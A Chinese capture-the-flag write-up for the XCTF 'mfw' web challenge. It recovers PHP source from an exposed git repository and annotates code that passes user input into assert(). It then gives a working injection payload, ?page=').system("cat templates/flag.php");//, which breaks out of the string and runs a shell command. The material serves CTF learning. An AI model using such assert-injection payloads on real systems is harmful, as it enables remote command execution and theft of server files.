XCTF-web-mfw

发现了git

使用GitHack下载一下源文件,找到了php源代码

csharp 复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

解析

csharp 复制代码
<?php
// 获取GET参数中的page值,如果不存在则默认为"home"
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

// 拼接文件路径,将page值作为文件名
$file = "templates/" . $page . ".php";

// 安全检查:确保路径中不包含".."(目录遍历攻击防护)
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// 安全检查:确保文件存在
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

解题:

?page=').system("cat templates/flag.php");//

')进行闭合

system("cat templates/flag.php")表示在系统中执行cat templates/flag.php命令,该命令用于查看templates目录下的flag.php文件内容

在源码中可以看到flag

相关推荐
菩提小狗13 小时前
每日安全情报报告 · 2026-04-12
网络安全·漏洞·cve·安全情报·每日安全
pencek15 小时前
HakcMyVM-Quick3
网络安全
zjeweler16 小时前
“网安+护网”终极300多问题面试笔记-全
笔记·网络安全·面试·职场和发展
瘾大侠17 小时前
HTB - Silentium
安全·web安全·网络安全
网络安全许木18 小时前
自学渗透测试第14天(信息收集进阶与指纹识别)
linux·网络安全·渗透测试
视觉&物联智能1 天前
【杂谈】-洞察业务风险潜藏暗礁:影子人工智能如何重塑移动威胁格局
人工智能·网络安全·aigc·agi
瘾大侠1 天前
OSCP+ 100分 7小时考试心得分享
安全·web安全·网络安全
lingggggaaaa1 天前
PHP模型开发篇&MVC层&动态调试未授权&脆弱鉴权&未引用&错误逻辑
开发语言·安全·web安全·网络安全·php·mvc·代码审计
网络安全许木1 天前
自学渗透测试第15天(基础复习与漏洞原理入门)
linux·网络安全·渗透测试·kali linux
大方子1 天前
【青少年CTF S1·2026 公益赛】easy_php
网络安全·青少年ctf